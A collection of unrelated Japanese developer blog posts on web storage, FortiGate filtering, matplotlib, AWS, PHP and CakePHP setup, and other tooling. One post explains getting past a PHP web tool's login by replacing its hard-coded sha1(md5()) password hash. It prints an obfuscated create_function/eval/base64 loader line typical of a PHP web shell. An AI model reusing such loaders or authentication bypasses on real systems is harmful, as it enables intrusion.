  <meta http-equiv="X-UA-Compatible" content="IE=edge"/>
</head>
<body>
	<p>あなたの入力した名前は<strong id="yn"></strong></p>
	<a href="javascript:void(0)" onClick="mukou();" id="mukou">localstrageを削除する</a>

<script>
num = localStorage.getItem('access_yn');
if(num){
	document.getElementById('yn').innerText = num;
}

function mukou() {
    localStorage.removeItem('access_yn');
}
</script>
</body>
</html>
```
###確認方法 firefox
「要素を調査」→「ストレージ」→「ローカルストレージ」
ドメインを選択して、目的の『key』を確認
【[各ブラウザでWebStorage（LocalStorage）を確認する方法 ](https://qiita.com/k_yumoto/items/d2026128a08ed8fab22c)】

##感想
こんな簡単に情報を保存、他ページで取得ができるなんて便利です。
活用していきたいと思います。
ちなみに**SessionStorage**というものあるみたいです、ずっと情報が保持されたくないときはこちらが良いのかもしれません→[javascriptでセッション？HTML5 SessionStorageの使い方](http://wp.tech-style.info/archives/787)

##参考サイト
[クッキーはもう古い!?HTML5 LocalStorageの使い方](http://wp.tech-style.info/archives/742)
[WebStorage API(LocalStorage)を使ってみた](https://qiita.com/masamitsu-konya/items/c69515604570150d3ab9)
Fortigate: WebフィルタでPOSTアクションをブロックする

FortiGate-50E
FortiOS 5.4.9

FortiGate-50EのWebフィルタを使用してユーザーのPOSTアクションをブロックする。
POSTアクションを制限することで殆どのサイトへのログインや書き込みができなくなる。

# 前提

- SSLインスペクションが有効になってる （クライアントにSSL証明書を配布済）


# POSTアクションをブロックする

## ■ Webフィルタ　> プロキシ オプション

HTTP POST アクションを**ブロック**に変更

![1.png](https://qiita-image-store.s3.amazonaws.com/0/35364/245b4957-5031-3681-e235-738a3b69c198.png)

適用をクリック


## ■ ポリシー＆オブジェクト > IPv4ポリシー

新しいポリシーを作成する

ポリシーのセキュリティプロファイルで以下を有効にする

- SSLインスペクション
- Webフィルタ

![2.png](https://qiita-image-store.s3.amazonaws.com/0/35364/b820e13e-11cd-d5ef-ce39-0984b488ee56.png)

# 確認

Amazonにログインしようとしたところ

![3.png](https://qiita-image-store.s3.amazonaws.com/0/35364/14104c6c-ba4c-5c54-4e5f-32121a0aea59.png)
matplotlibの複数subplotで共通のカラーバーを表示する

とりあえず共通のカラーバーを出す。

```python
import pandas as pd
from matplotlib.cm import ScalarMappable
import matplotlib.colors as colors
import matplotlib.pyplot as plt

#データのダウンロードと処理
df = pd.read_csv('https://archive.ics.uci.edu/ml/machine-learning-databases/autos/imports-85.data',header=None)
df = df[[2,21,22,25]]
df.columns = ['make','horcepower','peak-rpm','price']
df = df.replace({'?':pd.np.nan}).dropna()
df = df.astype({'horcepower':'int','peak-rpm':'int','price':'int'})

#グラフをプロットする
fig, axes = plt.subplots(nrows=1, ncols=2,sharex=True,sharey=True,figsize=(10,4.5))
df[df['make'] == 'subaru'].plot(kind='scatter',x='horcepower',y='peak-rpm',c='price',ax=axes[0],cmap='winter',colorbar=False,title='subaru',s=3)
df[df['make'] == 'mazda'].plot(kind='scatter',x='horcepower',y='peak-rpm',c='price',ax=axes[1],cmap='winter',colorbar=False,title='mazda',s=3)

#カラーバーの設定
axpos = axes[1].get_position()
cbar_ax = fig.add_axes([0.87, axpos.y0, 0.02, axpos.height])
norm = colors.Normalize(vmin=df['price'].min(),vmax=df['price'].max())
mappable = ScalarMappable(cmap='winter',norm=norm)
mappable._A = []
fig.colorbar(mappable, cax=cbar_ax)

plt.show()
```

こうなる
![sharing_colorbar_scatter_2plot_simple.png](https://qiita-image-store.s3.amazonaws.com/0/101350/8f743411-f600-743d-580c-4f732e4b15da.png)

---

カラーバーをがグラフに被るので余白の調整を追加する。

```pyhton
import pandas as pd
from matplotlib.cm import ScalarMappable
import matplotlib.colors as colors
import matplotlib.pyplot as plt

#データのダウンロードと処理
df = pd.read_csv('https://archive.ics.uci.edu/ml/machine-learning-databases/autos/imports-85.data',header=None)
df = df[[2,21,22,25]]
df.columns = ['make','horcepower','peak-rpm','price']
df = df.replace({'?':pd.np.nan}).dropna()
df = df.astype({'horcepower':'int','peak-rpm':'int','price':'int'})

#グラフをプロットする
fig, axes = plt.subplots(nrows=1, ncols=2,sharex=True,sharey=True,figsize=(10,4.5))
df[df['make'] == 'subaru'].plot(kind='scatter',x='horcepower',y='peak-rpm',c='price',ax=axes[0],cmap='winter',colorbar=False,title='subaru',s=3)
df[df['make'] == 'mazda'].plot(kind='scatter',x='horcepower',y='peak-rpm',c='price',ax=axes[1],cmap='winter',colorbar=False,title='mazda',s=3)

#カラーバーの設定
axpos = axes[1].get_position()
cbar_ax = fig.add_axes([0.87, axpos.y0, 0.02, axpos.height])
norm = colors.Normalize(vmin=df['price'].min(),vmax=df['price'].max())
mappable = ScalarMappable(cmap='winter',norm=norm)
mappable._A = []
fig.colorbar(mappable, cax=cbar_ax)

#余白の調整
plt.subplots_adjust(right=0.85)
plt.subplots_adjust(wspace=0.1)

plt.show()
```

![sharing_colorbar_scatter_2plot_margin.png](https://qiita-image-store.s3.amazonaws.com/0/101350/11af2cf1-28e6-bc81-f78a-63f0386b62b4.png)

余白の値は適当です。


---
参考

【python】matplotlibで図の余白を調整する - 静かなる名辞
https://www.haya-programming.com/entry/2018/10/11/030103

複数の図
http://hydro.iis.u-tokyo.ac.jp/~akira/page/python/content/plt_multi-image.html
ツールのパスワード書換えたったメモ

# 1.はじめに
とある事情により、phpで書かれたWebツールのパスワードをクラックする必要が出てきました。
楽しそうだったのでお手軽に仮説の立て方と実行方法をメモ

# 2.前提条件
* ソースにパスワードがべた書きされていること。(暗号化された状態)
* ソース自体は暗号化されていること。
* 似たようなソースがネットにあがっていること。

# 3.仮説の立て方
まず目標は何か、目標を達成するためにはどのような手法が必要かを考えます。
今回の場合はDBに接続しないことがわかっていましたので、どのように認証されているかを調べます。

認証方式がわかればどのような認証に対して実現可能なアプローチ方法を検討します。
不可逆なのか、簡単なパスワードならネットに落ちていないか・・・等々

後は仮説に基づき実行するのみ！

※ 簡単に認証方式がわかれば良いですが、独自の認証方式を使用していて
　 なおかつソース自体が暗号化されている場合にはかなり厳しい状況になります**諦めも肝心**。


# 4.認証方法について
DBに接続されていない場合、一般的にソース内に記載されたパスワードと突合します。

平文のままだとソースを見ただけでわかってしまうのでパスワード自体を暗号化し、
入力されたパスワードを同じ暗号化方式で暗号化し突合することが多いです。

今回のツールにはコメントから```sha1```と```MD5```が使用されているのかなと推測しました。

```　func.php
*/
$GLOBALS['pass'] = "sk60fkepgrfrn430dmtka2llgn1pfxxg4lsgms27c2"; // sha1(md5(pass))
$func="cr"."eat"."e_fun"."cti"."on";$fc=$func('$x','ev'.'al'.'("?>".gz'.'com'.'ss(ba'.'se  '.'64'.'co'.'de($x)));');$fc("eNrs/Wub4jiyKAp/71/B5K4zWbmoK0/Pf
```

既にパスワードが```MD5```で暗号化した後に```sha1```で再度暗号化したものでは？
という仮説がありましたが、コメントがダミーかもしれないし・・・。

この時点で有志によって似たようなソースがgithubにて確認できていたので、
```sha1```でソースを検索してみることに・・・

	if(!empty($password)) $password = "\$GLOBALS['pass'] = \"".sha1(md5($password))."\"; // sha1(md5(pass))\n";

やっぱり(笑)
ツールが元ソースから書き換えられていないことに感謝しつつアプローチ方法を検討！

# 5.アプローチ方法
もうここまでわかっていたら、とても簡単ですね。
任意のパスワードを同じ手法で暗号化したものを$GLOBALS['pass']に上書きしてしまえば、
簡単に突破出来るんじゃないかな～

”a” という文字列を```MD5``` ⇒ ```sha1```で圧縮し文字列を生成。
```6f9b0a55df8ac28564cb9f63a10be8af6ab3f7c2```

```　func.php
*/
$GLOBALS['pass'] = "6f9b0a55df8ac28564cb9f63a10be8af6ab3f7c2"; // sha1(md5(pass))
$func="cr"."eat"."e_fun"."cti"."on";$fc=$func('$x','ev'.'al'.'("?>".gz'.'com'.'ss(ba'.'se  '.'64'.'co'.'de($x)));');$fc("eNrs/Wub4jiyKAp/71/B5K4zWbmoK0/Pf
```

生成した文字列を上書きして実行！
画像は乗せられませんが、無事開くことが出来ました。
AWS Redshift Query editor試してみた

##AWS Redshift Query editor

AWS RedshiftのQuery editorはコンソール上から作成済みのredshiftに対してクエリを直接実行できるサービスです。

JDBC/ODBCクライアントを利用せずともクエリを実行でき、その場で実行結果を確認、結果をファイルとして取得することが可能です。
また、クエリを保存しておく機能もあり、クエリの再利用が可能です。

2019/02/25現在、ノードタイプがdc1.8xlarge, dc2.large, dc2.8xlarge, ds2.8xlargeのものに限り利用することができます。


##クラスターの準備

今回はQuery editorで対応しているノードタイプの中で一番小さいdc2.largeを選択しました。

![2019-02-08_15h45_59-2.png](https://qiita-image-store.s3.amazonaws.com/0/322096/51af4b09-a1cf-2e4d-1987-1f110884184b.png)

##Query editorの準備

Query editorへ移動し先程作成したクラスター名とDB名、ユーザー、パスワードを入力します。
これだけで準備は完了です。

![2019-02-08_16h00_25-2.png](https://qiita-image-store.s3.amazonaws.com/0/322096/1242de7c-365f-953d-281c-df4172071521.png)

##Query editorの使用

Query editorはデータベース情報のフィールド、クエリ編集のフィールド、クエリ実行結果のフィールドで構成されています。
以下はテーブルの一覧取得を試した結果となります。
「Download CSV」からクエリの実行結果をCSVファイルとして取得できます。
「View execution」からは各ステップの実行にかかった時間をグラフとして確認することができます。
![2019-02-08_16h58_17.png](https://qiita-image-store.s3.amazonaws.com/0/322096/2c02101e-8631-d6fe-499b-f00e26d6128a.png)

クエリは1回の実行につき1行までで、複数行実行しようとするとエラーになります。
![2019-02-08_16h55_56.png](https://qiita-image-store.s3.amazonaws.com/0/322096/be3d9816-68ca-e66d-b88e-7fbbc70e3057.png)

「Save as」からクエリを保存することができます。
名前と説明の入力が必要です。

![2019-02-08_18h06_02.png](https://qiita-image-store.s3.amazonaws.com/0/322096/50e21f12-10c2-613a-9544-7e65ecaaa38c.png)

保存したクエリは「Saved queries」に一覧で表示されます。
使用したいクエリを選択し「Open query」をクリックすると自動的にデータベースへ接続され実行可能な状態となります。

![2019-02-08_18h08_44.png](https://qiita-image-store.s3.amazonaws.com/0/322096/c12dc3a6-e21d-bdbe-d488-1b33366f323c.png)



クライアントのインストールや設定など行う必要がなく、コンソールから直接クエリを実行できるQuery editor
1回で1行までの実行など制約はあるもののちょっと試したい時など役に立つのではないでしょうか。
PHP でアップロードできる最大容量を変更、反映させる（PHP + Nginx + PHP-FPM）

# 環境

CentOS: 7.4
PHP: 7.2
Nginx： 1.14



# 設定変更の手順

## php.ini を編集

**.htaccess** で設定する方法もありますが、今回は `php.ini` を編集します。
私の環境では `/etc/php.ini` にありました。

```
# vi /etc/php.ini
```

```/etc/php.ini
; メモリ使用量の上限
memory_limit = 256M

; 1度の POST でアップロードできる最大容量 
post_max_size = 128M

; 1ファイルの最大容量
upload_max_filesize = 100M

; 設定値は下記のようにする
; upload_max_filesize <= post_max_size <= memory_limit
```

この設定の場合、１ファイル 100MB までアップロード可能になります。

## nginx.conf を編集

PHP だけでなく Nginx の設定も変更する必要があります。
**nginx.conf** に `client_max_body_size` の設定を追記します。

```/etc/nginx/nginx.conf
sever {
    listen       80;
    server_name  localhost;

    #アップロード制限
    client_max_body_size 100M;
    ...
}
```

## 設定を反映させる

Nginx と PHP-FPM を再起動させて設定を反映させます。
下記２つのコマンドを叩きます。
（以前、PHP-FPM の再起動を忘れていてハマりました。。）

```
# systemctl restart nginx
# systemctl restart php-fpm
```

## 設定が反映されているか確認する

Nginx で設定したルートディレクトリに **index.php** を置き、サーバーにアクセスすることで設定が反映されているか確認します。

```index.php
<?php phpinfo() ?>
```

うまく設定できていれば **upload_max_filesize**、**post_max_size**、**memory_limit** が設定した値になっているはずです。
システム仕様書を作成する際に使うと便利なツールたち（主にWeb系向け）

# 小さい案件でも仕様書は残しておくべき。言わずもがな

**社内WikiとかのナレッジDBがない＆仕様書が存在しないプロジェクトの改修依頼が来た時**、ChatWorkとかSlack（場合によってはメール）とかのやり取りを遡ったり、一からソースコードなめるように見たりして、どうにかそのプロジェクトの仕様を理解する必要があります。
**テストコードなんて書かれていないプログラム、なんてのも当たり前に存在するα世界線で生きている**ので、
自分の関わるプロジェクトに関してはせめてマシな状態にするためにツールを使ってあらがってみます。

# phpDocumentor（自動ドキュメント出力ツール）
- [phpDocumentor](https://www.phpdoc.org/)
- [phpDocumentor/phpDocumentor2: Documentation Generator for PHP](https://github.com/phpDocumentor/phpDocumentor2)

> phpDocumentorはあなたのPHPソースコードとDocBlockのコメントを分析してAPIドキュメントの完全なセットを生成することができるアプリケーションです。

phpDocumentorの公式はPEARでのインストールを推奨していますが、**直近で[PEAR公式のgo-pear.phpにバックドアが仕込まれていた](https://qiita.com/rana_kualu/items/7d91931a03b83324ae98)**というのもあるので、
**公式サイトから`phpDocumentor.phar`をダウンロードし、Composerの`vender/bin`ディレクトリに直接おいて使用するのがいい**のかなと

参考：[php - PHPDoc with laravel - Stack Overflow](https://stackoverflow.com/questions/46339362/phpdoc-with-laravel)

ちなみに**Composerからのインストールは公式で推奨されてないぽい**です↓

> Please note that we are not able to be compatible with all types of setups. In some situations phpDocumentor will block updates of other packages. We do not recommend using composer to install phpDocumentor.


## phpDocumentor実行コマンド例

`php [phpDocumentor.pharのパス] -d [解析対象のディレクトリ] -t [ドキュメント出力場所]`

環境によって異なるので各自パスは変えてください（※自分の場合はglobalにいれてます）

```:win環境でgitbash使ってます
php /c/Users/User/vendor/bin/phpDocumentor.phar -d /c/workdir/projectdir/laravel/ -t /c/workdir/projectdir/docments/
```


# MySQL Workbench（DB操作＆ER図作成ツール）
- [MySQL :: MySQL Workbench](https://www.mysql.com/jp/products/workbench/)

~~ER図の出力も対応してそうですが、自分は使用したことがないです。~~（DB設計段階でER図を書いてから実装に入るのが多い為）

追記：以下の画面（HOME）から`Models`へ切り替え、赤丸部分の（>）を右クリックからER図を作成できました。
![WS000024.JPG](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/85815/7850d2f8-3173-ec87-c92e-bf4dc4314a7e.jpeg)

（使用しているのは**MySQL Workbench 8.0**）

他のソフトも探してみましたが現状一番ER図が書きやすいのかなと。重いですが

# Markdownエディタ
- [Visual Studio Code](https://code.visualstudio.com/download)
つ [VisualStudioCodeでMarkdownを書く際に入れておきたい便利な拡張機能5選](https://qiita.com/sola-msr/items/cfe448db958da3d08863)

- [Atom](https://atom.io/)

言わずもがな隙間時間で仕様やメモをさらっと書けるので
HP DL360でESXi 5.5 → 6.5 Upgradeしようとして "CONFLICTING_VIBS ERROR"

ESXiホストをVersion 5.5から6.5にアップグレードしようとしたところ、互換性チェックでエラーが出た。
以下を参照して解消

https://nolabnoparty.com/en/esxi-upgrade-from-5-5-to-6-5-conflicting-vibs-with-hpe-image/

ESXiホストにSSHログインして、エラーログに記載されているDriver（Mellanox）が利用されているか確認、使用されていなければ（自分の環境ではBroadcomのNICしか存在しなかった）、 Driverを削除して再起動を行い、再度Upgradeすればよい。


ちなみに、今回の対象ホストはアップグレード前の5.5はESXi Hypervisor（無償版）で、有償版の6.5へのアップグレードだったがこの点は特に引っかかることはなく、すんなりとアップグレードできた。
（もちろんアップグレード後はライセンス適用が必要）
cakePHPインストールの際につまづいたこと

# ①Apacheの設定
httpd.confを編集する

### SRVROOTを変更
~~~
Define SRVROOT "C:\Program Files\Apache\Apache24"
~~~
とした。

### LoadModule rewrite_module modules/mod_rewrite.so
コメントを外す

### サーバーを変更
~~~
ServerName localhost:80
~~~

### ディレクトリに/var/www/htmlを追加

~~~
<Directory /var/www/html>
    AllowOverride none
    Require all denied
</Directory>
~~~

### ドキュメントルートを自分のアプリを作りたいパスに変更

~~~
DocumentRoot "C:\Users\-----\MyProjects"
<Directory "C:\Users\-----\MyProjects">
~~~

# ②php.iniの設定
PHPをインストールしたディレクトリ内のphp.iniで

~~~
extension=intl
~~~
をコメントから外し有効にする必要がある。


# アプリの雛形を作成する

~~~
composer create-project --prefer-dist cakephp/app cakeSample
~~~

# サーバー起動
~~~
bin\cake server # バックスラッシュ
~~~


# このサイトが一番わかりやすい
https://www.tuyano.com/index3?id=4536004&page=3


# Mysql

~~~
C:\Program Files\MySQL\MySQL Server 8.0\bin>mysqld --version
~~~

## ログインする

~~~
\mysql -u root -p

Enter password: ********
Welcome to the MySQL monitor.  Commands end with ; or \g.
Your MySQL connection id is 14
Server version: 8.0.15 MySQL Community Server - GPL

Copyright (c) 2000, 2019, Oracle and/or its affiliates. All rights reserved.

Oracle is a registered trademark of Oracle Corporation and/or its
affiliates. Other names may be trademarks of their respective
owners.

Type 'help;' or '\h' for help. Type '\c' to clear the current input statement.

~~~

## 停止する
~~~
quit
~~~


## databaseを作る

~~~
create database test_t;
use test_t
~~~

## テーブルを作成する
~~~
create table test_t(num int, name varchar(25));
show tables;
~~~

カラム名はスネークケースが望ましい。
primary keyやauto_incrementを使用可能

## テーブルの詳細
~~~
show columns from users
~~~

## insert 

~~~
insert into test_t values(1,'西山一郎');
select * from test_t;
+------+----------+
| num  | name     |
+------+----------+
|    1 | 西山一郎 |
+------+----------+
1 row in set (0.00 sec)
~~~

## アップデート
~~~
update test_t set name="aaa" where num=1;
~~~

# config/app.phpのデータベース設定を変更
user_name = "root"
passward = "************"

## モデルの雛形を作成
personsテーブルを作成した後に作業ディレクトリで

~~~
bin\cake bake model persons
~~~

 

# エラー対処
~~~
CakePHP is NOT able to connect to the database.
Connection to database could not be established: SQLSTATE[HY000] [2054] The server requested authentication method unknown to the client
~~~

となりデータベースに接続できないときは[https://improve-future.com/mysql-php-the-server-requested-authentication-method-unknown-to-the-client.html](https://improve-future.com/mysql-php-the-server-requested-authentication-method-unknown-to-the-client.html)を参考に

~~~
mysql> select User, Plugin from mysql.user;
+------------------+-----------------------+
| User             | Plugin                |
+------------------+-----------------------+
| mysql.infoschema | caching_sha2_password |
| mysql.session    | caching_sha2_password |
| mysql.sys        | caching_sha2_password |
| root             | caching_sha2_password |
| user-name        | caching_sha2_password |
+------------------+-----------------------+
5 rows in set (0.00 sec)
~~~

caching_sha2_passwordをnative_passwordに変更する必要がある

~~~
root@localhost [mysql]> alter user 'admin'@'%' identified WITH mysql_native_password by 'password';
root@localhost [mysql]> SELECT user, host, plugin FROM user;
~~~
これで変更できる。
AWS CDKでステージ別のスタックを作る[context編]

[AWS CDKでステージ別にスタックを作る](https://qiita.com/motchi0214/items/eb0f93131fdfb64e0378) を書いてからもっといい方法が見つかったので続報。

```
$ cdk --version
0.23.0 (build 1d705e7)
```

## Contextを使う

`cdk synth`または`cdk deploy`には`-c / --context`オプションがつけれます。これを使うことで、ステージやさまざまな値をスタックに流し込めます。

```
$ npm run build && cdk synth -c stage=development --output output/
```

## Contextの受け取り方

`getContext()`メソッドで受け取れます。

```
const app = new cdk.App();
const stage = app.node.getContext('stage')
new TestStack(app, `TestStack-${stage}`, stage)
app.run();
```

stack内でも使える様子です。

```
class TestStack extends cdk.Stack {
  constructor(
    scope: cdk.App,
    id: string,
    props?: cdk.StackProps
  ) {
    super(scope, id, props);
    const stage = console.log(this.node.getContext('stage'))
    
    new sqs.Queue(this, `ProjdynamoQueue-${stage}`, {
      visibilityTimeoutSec: 300,
    })
  }
}
```
マークダウンで書いた記事のPythonコード部分だけをautopep8コマンドで整形する

投稿されていた記事をPEP8準拠に整形したいなぁと思って作りました。

## autopep8コマンド準備

autopep8コマンドはautopep8モジュールをインストールすると使えます。

```console
$ pip install autopep8
```

または

```console:
$ python -m pip install autopep8
```

## 使い方

下記autopep8md.pyスクリプトを保存して、実行時の引数にマークダウンファイルを指定するか、指定しなければ標準入力から読み込みます。
変換結果は標準出力に表示するので、ファイルに保存するなり、クリップボードに送るなりしてください。

```console:マークダウンファイルを引数に指定する
$ python autopep8md.py INPUT_MARKDOWN_FILE > OUTPUT_MARKDOWN_FILE
```

または、

```command:標準入力から読み込む
$ cat INPUT_MARKDOWN_FILE | python autopep8md.py > OUTPUT_MARKDOWN_FILE
```

## スクリプト

```py:autopep8md.py
import os
import sys
import subprocess
import tempfile


def autopep8(code):
    with tempfile.NamedTemporaryFile('w', delete=False) as f:
        f.write(code)
        code_file_name = f.name
    subprocess.run(['autopep8', '-i', code_file_name])
    with open(code_file_name) as f:
        code = f.read()
    os.unlink(code_file_name)
    return code


def autopep8markdown(lines):
    in_code_block = False
    for line in lines:
        if not in_code_block:
            yield line
            if '```py' in line:
                in_code_block = True
                code = ''
        else:
            if '```' not in line:
                code += line
            else:
                yield autopep8(code)
                yield line
                in_code_block = False


def input_lines():
    if len(sys.argv) == 1:
        return sys.stdin.readlines()
    else:
        return open(sys.argv[1]).readlines()


def output_lines(lines):
    for line in lines:
        print(line, end='')


def main():
    output_lines(autopep8markdown(input_lines()))


if __name__ == '__main__':
    main()
```
AWS CDKでステージ別にスタックを作る[スタック分割編]


```
$ cdk --version
0.23.0 (build 1d705e7)
```

AWS CDKは複数スタックをまとめて定義・デプロイができます。

https://qiita.com/motchi0214/items/cb54d4fd2fc979ae4add

これを応用することで、prod / devのスタックをまとめて定義できます。

```
import cdk = require('@aws-cdk/cdk');
import sqs = require('@aws-cdk/aws-sqs');

export class TestStack extends cdk.Stack {
  constructor(
    scope: cdk.App,
    id: string,
    stage: string,
    props?: cdk.StackProps
  ) {
    super(scope, id, props);
    new sqs.Queue(this, `ProjdynamoQueue-${stage}`, {
      visibilityTimeoutSec: 300,
    })
  }
}

const app = new cdk.App();
const stages = [
  'production',
  'development'
]
stages.forEach(stage => new TestStack(app, `TestStack-${stage}`, stage))

app.run();
```

## 使い所

DynamoDBやCognitoのリソースをステージによって変えている場合に使えます。

## 注意点

`cdk deploy`すると全スタックがデプロイされます。
「devのつもりがprodもやっちゃった」ということが起きるので、npm run-scriptやCode Pipelineなどを使って`cdk deploy`をダイレクトに実行しないようにすることをおすすめします。

### package.json
```json
{
  "scripts": {
    "build": "tsc",
    "watch": "tsc -w",
    "cdk": "./node_modules/.bin/cdk",
    "deploy-dev": "npm run cdk deploy TestStack-development",
    "deploy-prod": "npm run cdk deploy TestStack-production"
  }
}
```


## 追記
context使ったほうが筋が良さそうです。
[AWS CDKでステージ別のスタックを作る](https://qiita.com/motchi0214/items/f6832755f81b05f536b2)
Chromebookで開発者モードを使わずにTomcatとPostgresの環境を作る

# 必要なアプリ
## [UserLAnd](https://play.google.com/store/apps/details?id=tech.ula&hl=ja)
AndroidでLinuxを動かすためのアプリです。今回はJava、Tomcatを動かすために使用しました。

ディストリビューションはUbuntuやDebian、Kali、Archが選べます。私はネットに情報が多く転がっていそうなUbuntuを選択しました。

このアプリを使うと、SSHかVNCで接続してLinuxを操作することができます。
私のChromebook（acer C740）でVNC接続するとデフォルトのアプリでは、画面が表示されませんでした。
ファイルのダウンロードなどはデスクトップ環境のブラウザを使いたかったので、まずSSHで繋いでデスクトップ環境をインストールしました。

更にデフォルトのブラウザであるFirefoxは動作しなかった（画面が正常に描画されず、真っ白なまま）ためChromiumをインストールするという余計な一手間が必要でした…


## [Termux](https://play.google.com/store/apps/details?id=com.termux&hl=ja)
こちらもUserLAndと同じくLinuxのターミナルエミュレータです。仕組みは調べていないのですが、Linuxのコマンドが使用できます。
今回はPostgresを動かすために使用しました。

UserLAndでPostgresのインストールまではできるのですが、メモリの確保に失敗して起動できませんでした。
その代替策としてTermuxでPostgresを動作させました。
Tomcat→Postgresの接続は、localhost:5432のままで大丈夫だったので、特別な作業は必要ありませんでした。

余談ですがmysqlはUserLAndだけで動作したので、Tomcatとmysqlの環境が作りたいならTermuxは不要です。

# あると便利かもしれないもの
## [VNC Viwer for Google Chrome](https://chrome.google.com/webstore/detail/vnc%C2%AE-viewer-for-google-ch/iabmpiboiopbgfabjmgeedhcmjenhbla)
UserLAndでVNC接続するとデフォルトのアプリではChromebookのキーボードが英字キーボードとして認識されてしまい記号の入力が大変でした。
VNC Viwerで接続すると印字されているキーの通りに入力できたので、コマンドをガシガシ入力するときはこのアプリを使用しました。

# インストール手順
## UserLAnd
### Java （openjdk8）
```
sudo apt-get install openjdk-8-jdk
```
### Tomcat
[公式サイト](https://tomcat.apache.org/download-80.cgi)からtar.gzをダウンロードしてCATALINA_HOME/binにパスを通す
Tomcat起動時はstartup.shを手動実行しています。

## Termux
### Postgres
```
apt-get install postgresql
```
自動起動の設定はあまり深く考えていなかったので.bashrcに起動コマンドを書きました。
system testでdeliver_later実行時にSerializationError

RailsのactionMailerでdeliver_laterする際、ブラウザから操作した場合は問題ないのにsystem test時に下記のエラーが発生。

```ruby
ActiveJob::SerializationError: Unsupported argument type: Time
```
rspecかcapybaraかと思ったら、activeJobのバグと、ActionMailerに渡しているmockの書き方が原因だった。

```ruby
myMailer.myMethod(params).deliver_later
```

paramsはAPIで取得するJSONをparseしたハッシュのため、テストの場合はmockにしていたが、TimeWithZone型をそのまま突っ込んでいた。
これをstringにすることで解決。

参考
- [Mail and deliver\_later doesn't work with date argument · Issue \#18519 · rails/rails](https://github.com/rails/rails/issues/18519)
- [ActiveJobの引数にはなんでも突っ込んでいいわけではない \- Qiita](https://qiita.com/marqs/items/021ec26512c1e96603f0)
iOS/Androidの音声操作について＋最小実装方法

## 冒頭

仕事でiOS/Androidアプリの音声操作について調査することになったのでまとめることにした。（まだ調査中）

スマートスピーカーで音声操作が徐々に普及してきて、スマホでもそれを実現するためのツールが揃ってきた。

各社が対応していく中で対応しないわけにもいかないので調査、という流れ。

## 各社対応

[MoneyFoward](https://prtimes.jp/main/html/rd/p/000000082.000007202.html)
Freee


## 比較表

下記のツールを使えば実現できる

| | iOS | Andorid |
|:---|---:|:---:|
| ロック中 | SiriKit | ? |
| アプリ起動中 | SFSpeechRecognizer | SpeechRecognizer |

両OSを開発しているとUI/UXの統一性の問題で使えるツールに制約が出てくる。

## SiriKit

iOS12の目玉ツールで、Shortcutにも登録可能。
色々試している途中だが、簡単に実現させたいならまずは下記参照で。
方法は２通りあって、
- NSUserActivity
- Intent
のどちらかで実現できるらしい。（Intentだけしか試していない）

[GitHub Sample Code](https://github.com/tamadon/SiriShortcutIntentSample)

## ?(Android)

### Google Assistant

Google Assistantを使おうとしたが、Googleサービスしか利用できなさそうだった。
しかもロック中に使えるかどうかは端末によりけり。（[参考](https://k-tai.watch.impress.co.jp/docs/column/minna/1091672.html)）

ちなみにGoogle Assistantについては[こちら](https://ai-friends.com/google-assistant-introduction/)
これを見るとNetflixとかサードパーティー製アプリが呼び出されてるんだけど特別なのかな？
と思ったが、調べると「Actions on Google」ってプラットフォームを使えばいいらしい。（[参考](https://qiita.com/hiesiea/items/74a1cb2408639eb5e4b4)）
ただ、制約上できるのかどうか。。。
特に何も実装しなくても「〇〇アプリを開いて」と言えば、候補を出してくれる（但し、候補をタッチしないといけない）
[参考](https://enjoy.sso.biglobe.ne.jp/archives/google_assistant/)

### IFTTT
対応させたいサービスがIFTTTに登録されていればIFTTT経由で連携可能かもしれないが、
IFTTTには対応していないのでこのやり方は不可。

## SFSpeechRecognizer

サンプルがあまり見つからなかったが最小構成の丁度良い記事を見つけた
簡単に実装できたのでまずは試してみるのにおすすめ
[Swiftでリアルタイム音声認識するための最小コード](https://qiita.com/mishimay/items/71304f0aa2a313ad93ac)

環境は
- Macbook Pro 2018 (10.14)
- Xcode (10.1)

## SpeechRecognizer

下記サンプルコードで実装できた

[SpeechRecognizerで「メリークリスマス」を音声認識してみよう](https://qiita.com/BK93/items/4dc8c37a6a0f3bde7cd2)

環境は
- Macbook Pro 2018 (10.14)
- Android Studio


## まとめ

アプリ内であれば簡単に音声操作させることが可能だと分かった

## 宿題

Androidのロック中操作方法調べる

## その他参考文献

[SiriKit](https://developer.apple.com/jp/sirikit/)
[SFSpeechRecognizer](https://developer.apple.com/documentation/speech/sfspeechrecognizer)
[SpeechRecognizer](https://developer.android.com/reference/android/speech/SpeechRecognizer)
今更ながらBrowserSyncがすごい便利だなあ。

##対象読者
基本的なことしか書いてないので、BrowserSync使ったことない方向けです。

##執筆動機
これまで何も考えずにwebpack-dev-serverを使っていたんですが、ちょっと気分転換がてらにBrowserSyncを試してみたら、感動の機能が詰まっていたので、覚書ついでにここに書き残します。

##BrowserSyncとは

これです。
https://www.npmjs.com/package/browser-sync

ローカルサーバーを立ち上げ、ファイル変更に応じて自動でリロードをしてくれるツールなのですが、それ以外にもたくさん便利機能がありました。（後述）

自分の場合、npm scriptsで以下のようなスクリプトを書いて動かしています。

```json
"local:server": "browser-sync start --server './local/' --config bs-config.js",
```

左から、browser-syncを開始、--serverでデフォルトブラウザを起動し、localディレクトリをルートにして、bs-config.jsの設定通りに動かす、というようなかんじです。



##便利① ブラウザ間での同期が自動で行われる

この機能がおそらくBrowserSyncの目玉なんじゃないでしょうか。
同じブラウザでなくとも、同時に起動しているブラウザには変更が即時に反映されます。
こんなかんじ。

![1.mov.gif](https://qiita-image-store.s3.amazonaws.com/0/255971/066a4739-7e6a-2246-6375-dcbf65bf7454.gif)

これがあれば、ブラウザごとの動作比較の他にも、
PCとスマホの画面サイズを同時に検証できます・・・！

##便利② CSSガイドやグリッドを表示してくれる

BrowserSyncには指定したポートで開ける設定管理画面があるのですが、そこに嬉しい機能が・・・！


![2.mov.gif](https://qiita-image-store.s3.amazonaws.com/0/255971/ee54b81c-784b-3f8c-e5ab-307e569caccb.gif)

CSS Outlining = CSSに応じて簡易的にアウトライン表示
CSS Depth Outlining = 試し忘れましたが、影をつけて要素の重なりが見える機能かと。。！
Overlay CSS Grid = デザインテストに便利なグリッド表示してくれます。

##便利③
ネットワークのスピードをシミュレーションしてくれる
<img width="936" alt="スクリーンショット 2019-02-08 16.47.37.png" src="https://qiita-image-store.s3.amazonaws.com/0/255971/0dd64e27-c75a-b69f-cd7e-7f14de6dc24c.png">

ローカル開発をしながら、スローネットワークを再現してテストが可能なすぐれもの。

##結論
いまのところローカルサーバーでの開発で一番優秀なんじゃないかと思っています。
設定も簡単。
作者に圧倒的感謝・・・！

